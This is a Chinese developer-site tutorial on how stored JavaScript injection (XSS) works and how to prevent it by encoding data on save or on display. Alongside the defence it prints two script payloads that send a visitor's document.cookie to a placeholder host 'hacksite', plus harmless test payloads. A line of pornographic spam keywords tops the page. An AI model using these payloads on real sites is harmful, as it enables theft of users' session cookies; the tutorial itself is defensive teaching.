欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

JavaScript注入漏洞的原理及防范(詳解)

 更新時間:2016年12月04日 14:20:19   投稿:jingxian  
下面小編就為大家?guī)硪黄狫avaScript注入漏洞的原理及防范(詳解)。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧

初次接觸:

初次接觸JavaScript注入漏洞后,如果不對這種漏洞的作用機理仔細分析并提取出其發(fā)生的某種模式,你就不能做到快速的發(fā)現(xiàn)項目中可能存在的所有注入風險并在代碼中防范。

發(fā)生模式:

JavaScript注入漏洞能發(fā)生作用主要依賴兩個關鍵的動作,一個是用戶要能從界面中注入JavaScript到系統(tǒng)的內(nèi)存或者后臺存儲系統(tǒng)中;二是系統(tǒng)中存在一些UI會展示用戶注入的數(shù)據(jù)。

比如注入漏洞最常見的就是發(fā)生在各種類型的名字中,比如系統(tǒng)中的人名等等,因為名字往往會在各種系統(tǒng)上顯示,如果在某個用戶輸入名字的時候注入了腳本,那么受其影響的各個系統(tǒng)都有發(fā)生注入漏洞的風險。

曾經(jīng)在幫別的項目做Bug Bash時,我給系統(tǒng)中的一個名字中注入了JavaScript腳本,結果導致使用這個名字的8個子系統(tǒng)、站點、app出現(xiàn)問題。

解決方案:

防范注入漏洞主要有兩個思路:一個是在用戶輸入數(shù)據(jù)后Encode內(nèi)容后再保存到持久存儲,另一個是在展示用戶輸入數(shù)據(jù)的地方Encode從持久存儲中取到的數(shù)據(jù)。

方法一的優(yōu)點是一般存儲用戶輸入數(shù)據(jù)的代碼少而固定但展示輸入數(shù)據(jù)的UI界面可能有很多而且還會有變化的可能,因此比較好防范;但缺點是存儲在持久存儲中的數(shù)據(jù)是Encode后的。

方法二的優(yōu)點是存儲在持久存儲中的數(shù)據(jù)原始內(nèi)容;但缺點是需要在多處UI界面中寫代碼防范,而且還得確保在增加新的UI時不忘防范。比如現(xiàn)在Web app比較流行,公司決定開發(fā),那么在開發(fā)的過程必須要做好防范,否則可能別的地方都防范好了,但新系統(tǒng)中卻沒有做好防范,漏洞最后還是發(fā)生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

漏洞被用于攻擊時注入內(nèi)容:

jQuery場景:

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS場景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

測試漏洞時注入內(nèi)容:

<script>alert(0)</script>

<script>debugger</script> --輔助開發(fā)人員快速定位出錯的JavaScript代碼(打開調(diào)試器的情況下)。

以上這篇JavaScript注入漏洞的原理及防范(詳解)就是小編分享給大家的全部內(nèi)容了,希望能給大家一個參考,也希望大家多多支持腳本之家。

相關文章

  • 淺析js實現(xiàn)網(wǎng)頁截圖的兩種方式

    淺析js實現(xiàn)網(wǎng)頁截圖的兩種方式

    這篇文章主要介紹了淺析js實現(xiàn)網(wǎng)頁截圖的兩種方式,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2019-11-11
  • JS閉包的幾種常見形式實例詳解

    JS閉包的幾種常見形式實例詳解

    本文通過實例代碼給大家詳細介紹了js閉包的幾種常見形式,代碼簡單易懂,非常不錯,具有參考借鑒價值,需要的朋友參考下
    2017-09-09
  • JavaScript 彈出窗體點擊按鈕返回選擇數(shù)據(jù)的實現(xiàn)

    JavaScript 彈出窗體點擊按鈕返回選擇數(shù)據(jù)的實現(xiàn)

    這兩天一直想實現(xiàn)這個,以前做做個Demo,但是不知道跑哪去了。于是今天在網(wǎng)上找了些資料再自己動手搞定。廢話不多說。直接進入主題啦。
    2010-04-04
  • JavaScript 面向?qū)ο笈c原型

    JavaScript 面向?qū)ο笈c原型

    這篇文章主要介紹了JavaScript 面向?qū)ο笈c原型,需要的朋友可以參考下
    2015-04-04
  • JS 將字符串中指定字符全局替換的方法

    JS 將字符串中指定字符全局替換的方法

    JavaScript 中的 replace() 方法用于將字符串或其中的子字符串替換為指定字符,或替換一個與正則表達式匹配的子串,這篇文章主要介紹了JS 將字符串中指定字符全局替換,需要的朋友可以參考下
    2023-07-07
  • JS實現(xiàn)用特殊符號替換字符串的中間部分區(qū)域的實例代碼

    JS實現(xiàn)用特殊符號替換字符串的中間部分區(qū)域的實例代碼

    相信很多人都遇到過敏感信息需要做部分隱藏功能,大多數(shù)都是用特殊符號去替換。今天小編給大家?guī)砹薐S實現(xiàn)用特殊符號替換字符串的中間部分區(qū)域的實例代碼,需要的朋友參考下吧
    2018-07-07
  • 詳解JavaScript 事件流

    詳解JavaScript 事件流

    這篇文章主要介紹了JavaScript 事件流的相關資料,幫助大家更好的理解和學習JavaScript,感興趣的朋友可以了解下
    2020-09-09
  • innerText和textContent對比及使用介紹

    innerText和textContent對比及使用介紹

    innerText使用過程中遇到了FireFox的兼容問題FireFox不支持innerText方法但是有個類似的方法,叫textContent,類似innerText,都是用來獲?。ㄔO置)元素中text的方法,感興趣的朋友可以參考下
    2013-02-02
  • JS中arguments的使用示例

    JS中arguments的使用示例

    本文主要介紹了JS中arguments的使用示例,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2023-05-05
  • ToolTip 通過Js實現(xiàn)代替超鏈接中的title效果

    ToolTip 通過Js實現(xiàn)代替超鏈接中的title效果

    ToolTip 通過Js實現(xiàn)代替超鏈接中的title效果,需要的朋友可以參考下。
    2011-04-04

最新評論